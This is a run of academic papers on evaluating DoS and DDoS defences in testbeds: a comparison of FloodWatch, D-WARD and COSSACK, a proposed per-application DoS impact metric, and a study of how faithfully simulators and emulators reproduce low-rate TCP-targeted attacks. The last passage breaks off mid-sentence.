detects DDoS traffic by analyzing statistical properties of
packet header fields. In particular, it examines entropy
values and Chi-squared statistics for the source and des-
tination IP addresses, TCP/UDP ports, and packet length.
During the training phase, FloodWatch captures a base-
line statistical profile for each field, which is compared
with the current statistics to identify abnormal flows.
FloodWatch responds to DDoS attack by discarding traf-
fic belonging to the DDoS flow. FloodWatch has been
tested extensively in the DETER testbed, primarily focus-
ing on the sensitivity and limitations of the entropy and
Chi-square statistics.

3 Methodology

Our experimentation methodology consists of a frame-
work in which five important dimension of a DDoS ex-
periment are configured [2]. In this section, we discuss
the parameters chosen for each dimension when evaluat-
ing the three defense systems under consideration.

3.1 Topology

Figure 1 describes the initial network topology for the
experiment. The topology represents a simple network-
ing environment consisting of four subnets connected to-
gether via several Linux routers. It serves as a start-
ing point for a series of increasingly realistic topologies
planned to for use in the test methodology. In the future,
we will employ a more complex topology that resembles
a real ISP, obtained from the rocketfuel tool [10].

Nodes within each subnet are connected to a LAN via
10Mbps links. The Linux routers are connected to each
other via 50Mbps links. In this topology, nodes N1–
N6 represent legitimate machines. Attack agents run on
nodes A1, A2, A5, and A6, generating attack traffic in the
experiment. Background traffic is generated among N1–
N6.

Figure 1: Initial Network Topology

3.2 Background Traffic

Generation of background traffic in an appropriate way
is critical to the DDoS experiment methodology. This is
because the impact on services is directly related to the
load of the network, server, and services involved prior to
any attack. We employ a flow-level traffic generation tool,
Harpoon[9], for generating background traffic. It uses a
set of distributional parameters to generate flows that ex-
hibit the same statistical qualities presented in measured
Internet traces. We configure Harpoon to generate traffic
among nodes N1–N6 with the rates and sizes that mimic
typical web-based transactions. In particular, each node
represents a /24 subnet making Web requests to other
hosts located at the other five /24 subnets. In addition,
we generate DNS lookup traffic from all the clients to the
DNS server D1. Hence the background traffic consists of
both UDP and TCP packets.

3.3 Attack Tools

We intend to use attacks that closely resemble previous
DDoS attacks in the Internet. While there are many DDoS
toolkits, they largely differ in the way each acquires com-
promised nodes and stealthily controls them. Most DDoS
tools generate similar types of attack traffic. We employ
an attack traffic generation tool developed by SPARTA for

2



generation of attack traffic. The attack agent allows fine
control of the traffic rates and is controlled by the Emulab
agent software during the experiment runs. In the cur-
rent experiment, we simulate two types of attacks; a low-
rate TCP flooding attack that generates 1000B packets
at a rate of 2000packets/sec from each attacking host, and
a high-rate UDP flooding attack that generates 1000B
packets at the rate of 15000packets/sec from each of the
attacking hosts. Both the attacks are targeted towards
N3. The low-rate attack was designed not consume all the
available bandwidth on the network with the UDP attack
is allowed to consumes all the available link bandwidth.

3.4 Measurements and Metrics

A common performance measurement of intrusion detec-
tion systems is the ratio between false positives and false
negatives. Nevertheless, in measuring the performance
of DDoS defense tools, we are more concerned with the
impact by the attack and/or defense on the quality of the
network services perceived by the end users. An effec-
tive defense system should significantly restore the ser-
vice, which was heavily degraded by the DDoS attacks.

Depending on the application, the user may be affected
differently by the DDoS attacks. For example, a stream-
ing video application may be able to tolerate occasional
delay because of its buffering, but a real-time telnet appli-
cation can not. As another example, a file transfer appli-
cation is more sensitive to the bandwidth than the round-
trip delay. In the current experiment, we first focus on a
Web-based application. We generate HTTP transactions
from two clients to the server, which is the DDoS target,
and measure the throughput and maximum TCP delay of
the TCP connections to determine whether the web trans-
actions are successful according to some common spec-
ifications [7]. In particular, an HTTP transaction is con-
sidered successful if the connection is established and the
maximum TCP delay is less that 5 seconds and the overall
transaction completes in less than 10 seconds.

4 Test Results

This section discusses the results of the initial experi-
ment. In each, background traffic was generated using
Harpoon [9]. The attack was launched at 100 seconds af-
ter the test run was started and lasts for 300 seconds. Tcp-
dump data was collected on two web clients S1 and D2,
which repeatedly initiate Web transaction to N3, fetching
a web page of size 2K bytes. We performed a test run for
each attack and defense mechanism pair.

Attack Client Goodput TCPDelay Success
No Attack S1 49k 0.06s 0.98
Low S1 45k 0.05s 0.77
High S1 NA NA 0
No Attack D2 45k 0.06s 0.98
Low D2 48k 0.08s 0.99
High D2 NA NA 0

Table 1: Baseline Metrics with no Defense System

Attack Client Goodput TCPDelay Success
Low S1 32k 0.27s 0.81
High S1 6.5k 3.7s 0.14
Low D2 37k 0.11s 0.95
High D2 24k 0.06s 0.26

Table 2: Performance Metrics for FloodWatch

For each HTTP transaction, we calculate the through-
put, maximum TCP delay of the connection, (the time
between when a data packet is sent and the ACK is re-
ceived), and the total delay in receiving all the HTTP data
requested. Based on the data, we determine the success
ratio of the transactions for each client.

Tables 1-4 presents the results of the experiments. Each
table denotes the average throughput (goodput) of all con-
nections, the maximum TCP Delay (TCPDelay) for all
transactions, and the success ratio for clients S1 and D2
under baseline no attack condition, low-rate TCP Flood-
ing attack, and high-rate UDP Flooding attack.

The low-rate TCP attack slightly degrades the network
service from the perspective of the client S1. It reduces
the success rate of S1 but does not affect the client D2. D2
actually benefits from the low-rate TCP attack as the TCP
attack suppresses the legitimate traffic generated from
hosts located close to the attacking machines. The high-
rate UDP attack overwhelms the links and denies both S1
and D2 from accessing the web service on N3. It congests
the links with over 20MBytes/second.

During both attacks, FloodWatch and D-WARD filtered
over 90 percent of the attack traffic. Nevertheless, they
do not significantly increase the success rate of S1. This

Attack Client Goodput TCPDelay Success
Low S1 28k 0.31s 0.58
High S1 NA NA 0
Low D2 50k 0.06s 1
High D2 50k 0.06s 1

Table 3: Performance Metrics for D-WARD
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Attack Client Goodput TCPDelay Success
Low S1 31k 0.19s 0.58
High S1 NA NA 0
Low D2 38k 0.12s 0.89
High D2 NA NA 0

Table 4: Performance Metrics for COSSACK

Figure 2: A More Realistic Experiment Topology

is because the client S1 is co-located on the same LAN
with an attack machine. On the other hand, D2 benefited
from these defenses and was able to obtain service from
N3 continuously. COSSACK does not block the high-
rate UDP attack. We are currently trying to contact the
developers to understand the observed behavior.

5 Conclusion and Future Work

We presented an approach to systematic evaluation of
DDoS defenses and some initial experimental results.
We compared FloodWatch, D-WARD, and COSSACK in
their ability to defend against low-rate and and high-rate
attacks in a small network setting. Depending on the lo-
cation of the clients, it may exhibit different performance.
This series of experiments enable us to gain understanding
in how various parameters should be set up and develop
the necessary tools for larger scale experiments. Our next
step is to evaluate the defenses in a topology that resem-
bles a real ISP (See Figure 2). Such experiments will al-
low us to obtain more realistic results.

References

[1] L. Feinstein, D. Schnackenberg, R. Balupari, and
D. Kindred. Statistical approaches to DDoS attack
detection and response. In Proceedings of DARPA
Information Survivability Conference, 2003.

[2] Alefiya Hussain, Stephen Schwab, Roshan Thomas,
Sonia Fahmy, and Jelena Mirkovic. DDoS exper-
iment methodology. In Proceedings of the DE-
TER Community Workshop on Cyber Security Ex-
perimentation, June 2006.

[3] R. Mahajan, S. M. Bellovin, S. Floyd, J. Ioannidis,
V. Paxson, and S. Shenker. Controlling high band-
width aggregates in the network. In ACM Computer
Communication Review, pages 62–73, 2002.

[4] Ratul Mahajan, Sally Floyd, and David Wether-
all. Controlling High-Bandwidth Flows at the Con-
gested Router. In Proceeding of the 9th Interna-
tional Conference on Network Protocols (ICNP),
2001.

[5] Mazu Networks. Mazu Technical White Papers.
http://www.mazunetworks.com/white papers/.

[6] Jelena Mirkovic. D-WARD: Source-End De-
fense Against Distributed Denial-of-Service At-
tacks. Ph.D Thesis, 2003.

[7] Nortel Networks. QoS Performance requirments for
UMTS, April 1999.

[8] C. Papadopoulos, R. Lindell, J. Mehringer, A. Hus-
sain, and R. Govindan. COSSACK: Coordinated
suppression of simultaneous attacks. In Proceed-
ings of DARPA Information Survivability Confer-
ence, 2003.

[9] Joel Sommers, Hyunhsuk Kim, and Paul Barford.
HARPOON:A Flow-Level Traffic Generator for
Router and Network Tests. In ACM SIGMETRICS,
June 2004.

[10] N. Spring, R. Mahajan, and D. Wetherall. Measuring
ISP topologies with rocketfuel. In ACM SIGCOMM
Conference, 2002.

[11] X. Yang, D. Wetherall, and T. Anderson. A DoS-
limiting network architecture. In ACM SIGCOMM
Conference, 2005.

4



1

Measuring Impact of DoS Attacks
Jelena Mirkovic Sonia Fahmy Peter Reiher

University of Delaware Purdue University University of California Los Angeles
Newark, DE West Lafayette, IN Los Angeles, CA

Roshan Thomas Alefiya Hussain Steven Schwab Calvin Ko
SPARTA, Inc. SPARTA, Inc. SPARTA, Inc. SPARTA, Inc.

Centreville, VA El Segundo, CA El Segundo, CA El Segundo, CA

Abstract— Denial of service attacks are an increasing threat to
the Internet’s availability and reliability. To evaluate a variety of
defenses proposed against this threat we must be able to precisely
measure impact of an ongoing attack on a network. The effectiveness
of a defense can then be calculated with regard to how quickly and
how completely it eliminates this DoS impact.

We propose a DoS impact measure which divides legitimate traffic
in the network into higher-level user tasks, called transactions, and
classifies these transactions into application-level categories. For each
category, we define quality-of-service requirements that have to be
met for a satisfactory service. DoS impact is then measured as a
percentage of transactions in each category that have not met their
QoS requirements.

I. INTRODUCTION

Denial-of-service attacks have been a serious Internet threat for
at least a decade. Recently, this threat has grown more imminent
because people are increasingly relying on network services for
everyday communication, business tasks and even critical services
such as vessel navigation, emergency service coordination, etc.

Accurately measuring a denial-of-service impact is essential for
evaluation of potential DoS defenses. A defense is only valuable
if it provably prevents or eliminates the denial-of-service impact,
making DoS attacks transparent to Internet users. If we could
measure which services were denied by the attack with and
without the defense we could: (1) understand and express severity
of various attacks (e.g., “attack A denied all the services in the
network, whereas attack B only denied HTTP service to new
users”, (2) characterize the effectiveness of proposed defenses
(e.g., “defense X eliminated 90% of DoS impact after 1 minute”)
and compare defenses to understand a price/performance tradeoff.

An overall impact of DoS attacks on a target is that they
slow down or stop some service needed by legitimate users.
Historically, DoS researchers used several measures to capture
this effect: percentage of legitimate packets that received no
service, division of resources between legitimate and attack traffic,
throughput or goodput of TCP connections, and the overall
transaction duration. While these measures capture the essence of
a DoS impact — they show a deviation of a measured parameter
during the attack from the same parameter without the attack
— they do not really measure if some service was denied. This
is because Internet applications have very different quality-of-
service requirements. Online games and audio conversations are
sensitive to even a very small delay of 100 ms, while bulk file
transfer can endure multiple-minute delays. Audio applications
are sensitive to delay variation (jitter) while other applications
are not. Media and online games are also sensitive to packet

loss, while TCP-based applications can tolerate and recover from
large amounts of packet loss. Clearly, whether some amount of
delay, delay variation and packet loss cause a denial-of-service
impact or not depends on the quality of service requirements of
the applications that experience these factors.

We propose a DoS impact metric that speaks to the heart of the
problem: it measures if the legitimate clients receive acceptable
service or not during an attack. This metric requires capturing the
legitimate traffic trace at the source and the destination. Within
this trace, we recognize transactions that represent application-
specific tasks such as downloading a file, browsing a Web page
or having a VoIP conversation. For each transaction, we measure
five parameters: (1) one-way delay, (2) request/response delay, (3)
packet loss, (4) overall transaction duration and (5) delay vari-
ation (jitter). Depending on the quality-of-service requirements
of each application in the trace, we classify transactions into
several application categories. We then apply category-specific
thresholds to measured parameter values to determine if each
transaction succeeded or failed, and calculate the percentage of
failed transactions (pft) in each application category. The overall
DoS impact can then be specified as a weighted average of pft
values, or as a histogram across categories. To capture the time
dimension we can also split the attack time into several windows
and measure a DoS impact in each window.

The main challenge of the proposed DoS impact metric lies in
categorizing applications by their QoS requirements, and speci-
fying realistic, objective and measurable criteria for success (or
failure) for each application category. An additional challenge lies
in the ability of some applications to hide a network-introduced
delay, delay variation or loss using variable buffering (streaming
media applications [18]) or extrapolation (online games [8], [5]).
Since it would be non-scalable to define transaction success or
failure for each existing application, we must decide to either
consider all applications or of a certain kind (e.g., streaming
audio) or none of them, as capable of masking some specific
range of delay, jitter and loss.

We acknowledge that definition of universally acceptable QoS
criteria for each application category is going to be a major
undertaking, and will require participation of a large research and
commercial community. However difficult, we believe that this
effort is necessary for objective evaluation of DoS defenses and
their comparison. In Section II-A we propose a set of application
categories and their success criteria. In this we largely borrow
from 3GPP’s specification of QoS performance requirements
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Application Category QoS Classification One-way delay Request/response delay Loss Duration Jitter
email (server to server) Non real-time whole < 4 hours

NNTP (Usenet) Non real-time whole < 4 hours
Chat Non real-time < 30 s

Web, e-commerce Real-time, block any < 4 s or maxRTT < 4 s < 300%
FTP, file-sharing Real-time, block any < 10 s or maxRTT < 10 s < 300%

FPS Games Real-time, block < 150 ms < 3 %
RTS Games Real-time, block < 500 ms

Telnet Real-time, block any < 250 ms or maxRTT < 250 ms < 300%
E-mail (user to server) Real-time, block any < 4 s or maxRTT < 4 s < 300%

DNS Real-time, block whole < 4 s
ICMP Real-time, block whole < 4 s

Audio, conversational Real-time < 150 ms (media) whole < 4 s or maxRTT < 4 s (control) < 3% < 50 ms
Audio, voice-messaging Real-time < 2 s (media) whole < 4 s or maxRTT < 4 s (control) < 3% < 50 ms

Audio, streaming Real-time < 10 s (media) whole < 4 s or maxRTT < 4 s (control) < 1% < 50 ms
Videophone Real-time < 150 ms (media) whole < 4 s or maxRTT < 4 s (control) < 3%

Video, streaming Real-time < 10 s (media) whole < 4 s or maxRTT < 4 s (control) < 1%

TABLE I
APPLICATION CATEGORIES AND THEIR REQUIREMENTS

for Universal Mobile Telecommunications System, that defines
acceptable service quality for various applications. 3GPP is a
“collaboration agreement which brings together a number of
telecommunications standards bodies” [1] from all over the world,
in an effort to “produce globally applicable Technical Specifica-
tions and Technical Reports for a 3rd Generation Mobile System”
[1]. Thus, the proposed set of QoS specifications has an advantage
of being already accepted by the world’s large standards bodies.

Our proposed DoS impact metric requires measurement of
legitimate traffic at various points in the Internet: at the legitimate
senders and at the traffic destinations. As such, it is suitable for
testbed experimentation where we can capture traffic at any point,
but it would not be applicable to DoS impact measurement at the
victim end during real-world attacks. We discuss how to measure
required parameters in DoS experiments in Section II-B, and how
to aggregate pft measures into a DoS impact metric in Section
II-C We illustrate our metric with small-scale experiments in
DETER testbed [4] in Section III and discuss open issues and
future directions in Section V.

Another question that relates to objective DoS defense eval-
uation concerns the design of realistic and comprehensive test
scenarios, i.e., DDoS defense benchmarks. While this question is
an object of our current research, it is out of scope of this paper.

II. DOS IMPACT METRIC

Our proposed DoS impact metrics considers a set of transac-
tions, and categorizes them based on their QoS requirements into
several application categories. For each transaction, we measure
five parameters, specified in Section I, and evaluate success
or failure based on how well the measured parameters meet
QoS criteria for this transaction’s application category. We now
specify application categories and their QoS requirements, and
then we explain how we define transactions and measure required
parameters, and how we aggregate transaction success and failure
data into an overall DoS impact metric.

A. Application Categories and Success Criteria

Table I lists the application categories we propose, mostly
borrowed from [16], and the corresponding QoS requirements.
We also modified several QoS requirements from [16], to: (1)
account for jitter elimination in audio applications using variable
size buffers [2], (2) differentiate between QoS requirements for
first-person shooter (FPS) [3] and real time strategy (RTS) [17]

games, (3) account for receipt of partial but useful response
from a server [6], (4) account for DNS and ICMP services, (5)
formalize extraction of the delay information from TCP dynamics
and request/response dynamics of various applications.

B. Measuring Performance

We only measure performance for traffic on conversations
initiated by a user with the target of a DoS attack. We identify
user-initiated conversations by looking for SYN packets sent from
a legitimate user’s machine to a DoS target for TCP traffic, UDP
packets sent to a well-known UDP service port for UDP traffic
and ICMP request packets. We capture traffic trace data at the
sender and at the receiver side, and identify transactions in this
data. We define a transaction as some application-specific task
that a user wants to perform. For example, if a user wants to
download 10 files from an FTP server, one by one, this represents
10 transactions. On the other hand, if a user downloads 10 files in
a batch, this represents one transaction. Table II-B shows how we
identify transactions in the traffic trace data. A flow is identified
as all traffic between two fixed IP addresses and port numbers.

Application Transaction
email (server to server) TCP flow

NNTP (Usenet) TCP flow
Chat TCP flow and inactive time > 4 s

Web, e-commerce TCP flow and inactive time > 4 s
FTP, file-sharing TCP flow and inactive time > 4 s

Games UDP flow
Telnet TCP flow and inactive time > 4 s

E-mail (user to server) TCP flow and inactive time > 4 s
DNS One request/response
ICMP One request/response

Audio and video TCP flow and a corresponding UDP flow

TABLE II
TRANSACTION IDENTIFICATION

We can measure request/response delay and transaction dura-
tion using a sender-collected trace, but we need to correlate the
sender/receiver traces to measure one-way delay, loss and jitter.
We do this by matching source IP, port and identification (e.g.,
sequence number, request ID) of the packets at the sender with the
packets at the receiver side, and synchronizing sender and receiver
clocks at the beginning of the experiment. We use tcpdump to
capture a traffic trace during the experiment. Since tcpdump uses
interrupt-based packet capture, it has problems keeping up with
high packet speeds [10] and it will largely overestimate packet
loss for strong attacks. This problem can be handled to a large
extent if tcpdump is combined with device polling [10].
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We identify requests and responses using data flow between
senders and receivers. Let A be a client that initiates some
conversation with a server B. A request is identified as all data
packets sent from A to B, before any data packet from B. A reply
is identified as all data packets sent from B to A, before any new
request from A.

Email and Usenet applications have a delay bound of 4 hours
and retry each failed transactions for a limited number of times.
It would be infeasible to create several-hour long experiments so
we need to extrapolate transaction success for these applications
using short experiment data. We do that using an observation
that the DoS impact usually stabilizes after some short time from
the onset of an attack, if the attack is not time-variable. When
a defense system is present, the DoS effect will usually stabilize
after some limited time from its detection by the defense, and the
defense’s engagement. if we ensure that the experiment duration
is long enough that the DoS effect stabilizes, we can use the pft
for transactions started after the stabilization point as a predictor
of pft in a longer experiment. Also, since each server can set
its own values for the number and timing of retries, we need to
specify some default values to be used for transaction success
evaluation. Let r be a total number of retries within the 4-hour
delay bound and let s be the stabilized pft for email (or Usenet)
transactions during a short experiment. The predicted pft for a
long experiment is then: pftp = 1 − (1 − s)r.

Finally, some success criteria require comparing a transaction
duration during an attack with its expected duration without the
attack. If we have perfectly repeatable experiments, i.e., we can
specify a list of transactions to be generated and the timing and
sizes of packets in each direction, then we can measure the
expected transaction duration directly, running the experiment
without the attack. Some traffic generators may have built-in
randomness that prevents repeatable experiments. In this case
we must estimate the expected transaction duration, using the
information about transactions of the same type completed prior
to the start of the attack. Let us observe a transaction T that has
completed in tr seconds, sending B bytes of data, and whose
duration overlaps an attack. Let Th be the average throughput of
transactions generated by the same application as transaction T,
and completed prior to the attack’s start. We can then calculate
the expected duration for the transaction T as te = B/Th and
compare it with the measured duration tr.

C. Aggregating Results

Many DoS attacks inflict damage only while they are active,
and the DoS impact ceases when the attack is aborted. It thus
makes sense to calculate transaction success only for transactions
whose duration overlaps the attack.

One way to aggregate transaction success and failure into a
DoS impact measure is to calculate the percentage of failed
transactions pft per application category and aggregate it into a
histogram across categories or across service port numbers. This
is especially useful to capture the effect of attacks that target only
one application, e.g., TCP SYN attack at Web server port 80. We
call this aggregated measure DoS-hist.

Sometimes it may be useful to aggregate DoS-hist into a
single number, called DoS-degree, expressing an overall DoS
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Fig. 1. Simple experimental topology

impact. This can be done by calculating a weighted average
of pft values: DoS-degree =

∑
k pft(k) · wk, where k goes

over all application categories, and wk is a weight associated
with a category k. Applications could be weighted equally or
according to their popularity or importance. Note that DoS-degree
is highly dependent on the chosen set of application weights.
Unless there is a broad consensus on a representative set of
application weights, using DoS-degree for defense performance
comparison could lead to false conclusions, as application weights
can be chosen to drive the results in favor of a chosen defense.

For DoS defense evaluation it is useful to calculate the DoS
impact over time. Since DoS defenses usually experience an
activation delay before responding effectively, the DoS impact
measured at the start of the attack will be much higher than
later, when the defense has engaged. We capture this time-based
change by splitting attack duration into intervals of T seconds and
calculating DoS-hist and DoS-degree measures for each interval
in the following manner: (1) We calculate success or failure
for transactions overlapping the current interval, (2) We use
transaction success data to calculate pft per application category
and aggregate it into a desired measure, (3) A transaction that
has failed in one interval is not used for pft calculation in the
following intervals.

III. EXPERIMENTS

We now illustrate our proposed DoS impact metric in a small-
scale experiment in DETER testbed. We use a simple network
topology, shown in Figure 1 and generate the following legitimate
traffic: (1) HTTP traffic with Paretto-distributed file sizes, and
exponentially distributed connection arrivals with 1s mean, (2)
Telnet traffic with Paretto-distributed duration and traffic volume,
and exponentially distributed connection arrivals with 1s mean,
(3) FTP traffic with Paretto-distributed file sizes, and exponen-
tially distributed connection arrivals with 1s mean, (4) DNS traffic
with exponentially distributed request arrivals with 1s mean, and
(5) ICMP traffic with exponentially distributed request arrivals
with 5s mean.

We generate a UDP flood attack that aims to overwhelm the
bottleneck link whose bandwidth is 1.25MBps. Figure 2 shows
the pft measure per application as we vary the attack strength. The
measure clearly reveals the sensitivity of long-lived transactions,
such as generated by FTP and Telnet, to small-rate attacks, while
DNS transactions are only affected when the attack strength is
four-fold the bandwidth of the bottleneck link.

IV. RELATED WORK

For brevity we only provide a short overview of the work
related to DoS impact measurement. In the quality of service
field there is an initiative to define a universally accepted set of
QoS requirements for applications. This initiative is lead by the
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Fig. 2. Impact of UDP flood attacks on applications

3GPP partnership between large standards bodies from all over
the world [1]. While many of the specified requirements apply to
our work, we extend, modify and formalize these requirements
as explained in Section II-A.

There is a significant body of work in differentiated services
field that separates applications into several categories based
on their sensitivity to delay, loss and jitter. A representative
list of applications includes video, voice, image and data in
conversational, messaging, distribution and retrieval modes [12].
These applications are either inelastic (real time) which require
end-to-end delay bounds, or elastic, which can wait for data to
arrive. Real time applications are further subdivided into those
that are intolerant to delay, and those that are more tolerant,
called delay adaptive. The Internet integrated services framework
mapped these three application types onto three service cate-
gories: the guaranteed service for delay intolerant applications,
the controlled load service for delay adaptive applications, and
the currently available best effort service for elastic applications.
The guaranteed service gives firm bounds on the throughput
and delay, while the controlled load service tries to approximate
the performance of an unloaded packet network [7]. Similarly,
the differentiated services (DiffServ) framework standardized a
number of Per-Hop Behaviors (PHBs) employed in the core
routers. In the early 1990s, Asynchronous transfer mode (ATM)
networks were designed to provide six service categories: Con-
stant Bit Rate (CBR), real-time Variable Bit Rate (rt-VBR),
non real-time Variable Bit Rate (nrt-VBR), Available Bit Rate
(ABR), Guaranteed Frame Rate (GFR) and Unspecified Bit Rate
(UBR) [11]. The traffic management specifications [11] defined
methods to measure network-provided service so that users can
ensure they are receiving the service they had paid for.

In [9] researchers measure the effect of a DoS attack on
network traffic. They study the distribution of several parameters:
the throughput of FTP applications, roundtrip times of of FTP and
Web flows, and latency of Web flows and the DNS lookup service.
Our work concerns specifying the acceptable-service thresholds
for these and several other parameters, and for a broader variety
of services.

Recently, IRTF’s Transport Modeling Research Group (TMRG)
has been chartered to standardize evaluation of transport protocols
by developing a common testing methodology, including a bench-
mark suite of tests [13]. In their drafts, they discuss the metrics
for evaluation of congestion control mechanisms, such as delay,

loss, throughput, fairness, etc. They briefly consider user-based
QoS metrics, but do not specify them in any detail.

V. CONCLUSIONS

DoS defense field critically needs to formalize its defense
evaluation methods. The most important feature of a defense is
how well it can handle the impact of the attack. We proposed a
DoS impact measure that directly captures the effect of a DoS
attack on the legitimate network traffic, by defining application-
level quality of service requirements and measuring if they have
been met during an attack. The effectiveness of a DoS defense
can then easily be evaluated with regard to how quickly and how
completely it minimizes the DoS impact.

Much work remains to be done in tuning the parameters
that define application QoS requirements, refining application
categories, testing the proposed metric in a variety of attack
scenarios, formalizing aggregation methods, and promoting the
proposed metrics in research and commercial communities.
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High Fidelity Denial of Service (DoS)
Experimentation

Roman Chertov, Sonia Fahmy, Ness B. Shroff
Purdue University

I. INTRODUCTION

Experimentation with security attacks introduces additional
requirements compared to traditional networking and distributed
system experiments. High capacity attack flows can push sys-
tems beyond their expected operational regions, and expose un-
expected behaviors. Many popular simulation and emulation
environments fail to account for such behaviors, and incorrect
results have been reported based on experiments conducted in
these environments. In addition, simulation and emulation en-
vironments sometimes introduce artifacts, altering the experi-
mental outcome and its interpretation. Finally, identification of
systems settings that significantly impact experimental results is
crucial for creating repeatable experiments.

In this paper, we present the results of a careful sensi-
tivity analysis we have conducted, which exposes difficulties
in obtaining meaningful measurements from three emulation
testbeds: DETER at http://www.isi.deterlab.net/, Emulab at
http://www.emulab.net/, and Wisconsin Advanced Internet Lab-
oratory (WAIL) at http://www.schooner.wail.wisc.edu with de-
fault system settings. We compare these results to ns-2 sim-
ulation results, and find dramatic differences between simula-
tion and emulation results for Denial of Service (DoS) attack
experiments. We select low-rate TCP-targeted DoS attacks as
a case study, since these attacks have generated significant in-
terest in the research community in the past few years. To
validate our comparisons, we use a simple analytical model of
TCP performance degradation, in the presence of a special case
of TCP-targeted DoS attacks (those not causing timeouts), as
a lower bound. Our results reveal that software routers such
as Click provide a flexible experimental platform, but require
understanding and manipulation of the underlying network de-
vice drivers. We also discuss our future work plans for creating
higher fidelity network simulation and emulation models that
are not computationally prohibitive.

The remainder of this paper is organized as follows. Section II
summarizes related work. Section III describes the simple an-
alytical model we have developed. Section IV explains the ex-
perimental setup that we use. Section V summarizes our results
and the problems in achieving high fidelity DoS simulation and
emulation. Finally, Section VI concludes the paper.
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II. RELATED WORK

This section briefly describes simulation and emulation tools
that are currently in use by the research community. Addition-
ally, we give a brief background on low-rate TCP-targeted DoS
attacks.

A. Network Simulation

Probably the most well known network simulator is ns-2 [11].
This discrete event simulator has very basic link models and
is mainly used for queuing and end-to-end protocol research.
Routers are represented as collections of output link queues, ig-
noring their physical characteristics. On the other end of spec-
trum, the OPNET simulator [1] is a very detailed commercial
simulator. It contains a diverse collection of device models that
include routers, switches, servers, and mainframes. Users have
the option of creating their own models for the devices. How-
ever, a plethora of complicated models is detrimental to scala-
bility, as it becomes prohibitively expensive to run large scale
topologies and there is no guarantee that the models are correct.

B. Network Emulation Tools and Emulators

Network emulation tools range from those emulating large
segments of a network to those that shape a single link. Tools
like tc, iproute2, NIST-net, DummyNet, NetPath, and Click al-
low link shaping. Emulators like Modelnet and EMPOWER are
capable of emulating large scale topologies; however, they em-
ulate the network core leaving only the edge nodes to the user.
The tools emulate the core connectivity, requested delays, loss,
and link bandwidth. However, critical properties of real devices
such as queuing delays, maximum packet forwarding rates, poli-
cies, and queue sizes are not accurately emulated, thus reducing
the fidelity of the experiments that can be carried out.

C. Low-Rate TCP-Targeted Denial of Service Attacks

Most well-publicized DoS attacks have utilized a large num-
ber of compromised nodes to create constant high-rate flows to-
wards the victims. Such “flooding attacks” are effective, but
have major shortcomings from the attacker’s perspective. First,
the attacks are easy to detect due to the high volume of uniform
traffic, e.g., UDP or ICMP. Second, the attacks can self-congest
at some bottleneck and not reach the intended destination.

An attack that is less susceptible to these limitations is the
low-rate TCP-targeted attack (Figure 1), introduced in [7]. This
attack has generated significant interest in the research commu-
nity, due to its potential to do great harm, go undetected, and
the ease by which it can be generated. One variant of low-
rate TCP-targeted attacks [5] is an attack that exploits the TCP
Additive Increase Multiplicative Decrease (AIMD) mechanism
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to cause TCP goodput degradation. The premise is that during
the congestion avoidance phase, when packet losses occur due
to attack pulses, TCP halves its congestion window, but when
a successful transmission occurs, it only linearly increases its
window size. Such an attack can be used to strategically target
key routers or servers in the network, thus causing wide-spread
degradation of TCP performance. Moreover, this attack may be
difficult to detect, since it does not operate at a known frequency
as in the case of the attack in [7]. Therefore, we use this attack
variant as a case study in our work. This attack has not been ex-
perimentally studied in prior work, except in extremely limited
settings, with no sensitivity analysis, or comparisons to analyti-
cal or simulation results.
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Fig. 1. Low-rate TCP-targeted DoS attack

III. TCP THROUGHPUT DEGRADATION MODEL

In this section, we describe a simple analytical model, which
is a special case of a model given in [8]. The model charac-
terizes TCP performance degradation as a function of the TCP-
targeted attack frequency. In prior work, e.g., [10], models of
TCP throughput as a function of the round-trip time and loss
event rate were developed. These models, however, do not con-
sider the presence of periodic attacks. In contrast, we compute
the average TCP window size as a function of the TCP-targeted
attack parameters.

As discussed in Section II-C, the objective of this variant of
the attack is to exploit the TCP AIMD mechanism and not to
cause timeouts. Our analysis assumes that TCP Reno [2] in the
congestion avoidance phase is being employed for a single flow
under attack. Since Reno can typically recover from a single
packet loss without a timeout, it is assumed that every attack
pulse will induce a packet loss. A loss of a single data packet
will cause a reduction of the congestion window by half in TCP
Reno, after which additive increase will be employed. For sim-
plicity of the analysis, the short fast recovery phase is ignored.
The resulting TCP congestion window saw-tooth pattern is de-
picted in Figure 2 for a fixed attack frequency. Observe that the
model also gives a close approximation of the behavior of TCP
New Reno [4] or TCP SACK [9] even with a few packet losses
with every pulse, since these TCP flavors can typically recover
from multiple packet losses without timeouts.

For brevity, we omit the detailed derivation of the throughput,
which can be found in [3]. We find that the average congestion
window size Wavg =

3t

4rtt
, where t is the sleep duration and rtt

is the round trip time of the TCP flow.
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Fig. 2. Saw-tooth pattern of congestion window evolution due to periodic loss
every 4 seconds.

IV. EXPERIMENTAL SETUP

The topology we use for both simulation and emulation ex-
periments is depicted in Figure 3. This is a simple dumb-bell
topology with four end systems and two routers that connect via
a link with 60 ms delay. The attacker and the attack sink are var-
ied from one side of the topology to another.1 The same basic
ns-2 script is used for both simulations and DETER and Emu-
lab testbed experiments. Due to the specific requirements of the
WAIL testbed, we had to modify the tcl script used on WAIL, so
that access links have 40 ms delay and the backbone link has no
delay. We have validated the results of ns-2, Emulab, and DE-
TER for the same setup, and found them to be the same as the
results with the topology in Figure 3. To create a long lived TCP
flow, we used the ttcp tool on the testbeds to transfer a large file.
Precise details about the DETER and Emulab machines can be
found in [3].

Attacker/SinkAttacker/Sink

Node 3

Node 2

Node 1

60 msec

10 msec

10 msec

Node 0

SenderR1 R2

100 Mbps

100 Mbps

100 Mbps

100 Mbps
10 msec

100 Mbps
10 msec

Receiver

Fig. 3. Simple dumb-bell topology with 160 ms round-trip-time and 100 Mbps
links.

V. EXPERIMENTAL RESULTS

In a series of experiments on DETER, Emulab, and WAIL, we
have varied the duration of the attack sleep period to change the
impact of the attack on the single TCP file transfer. The length
of the attack pulse was set to 160 ms which is the RTT for the
TCP flow. A sample of the results is given below to demonstrate
the sensitivity of the results to testbed capabilities and settings.
The complete results can be found in [3].

A. DETER and Emulab Experiments

In this section, we compare the results from the analytical
model given in Section III and the ns-2 simulator with results

1This simple topology is not representative of the Internet, but we have se-
lected it in order to be able to analyze the results in depth. Our future work plans
include experiments with multiple bottleneck configurations and other traffic
patterns.
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Fig. 4. Comparison of the average congestion window size from analysis, simulations, DETER and Emulab for different sleep time periods, and an attack pulse of
length 160 ms. RTT is 160 ms. ns-2 results are not plotted in the reverse case because the attack has little impact.

from the DETER and Emulab testbeds. We first use the default
system settings for the DETER and Emulab nodes without using
Click on PC routers, since the ns-2 configuration was derived
from these values. The attack tool was configured to generate
packets as fast as possible during the attack pulse. In this set of
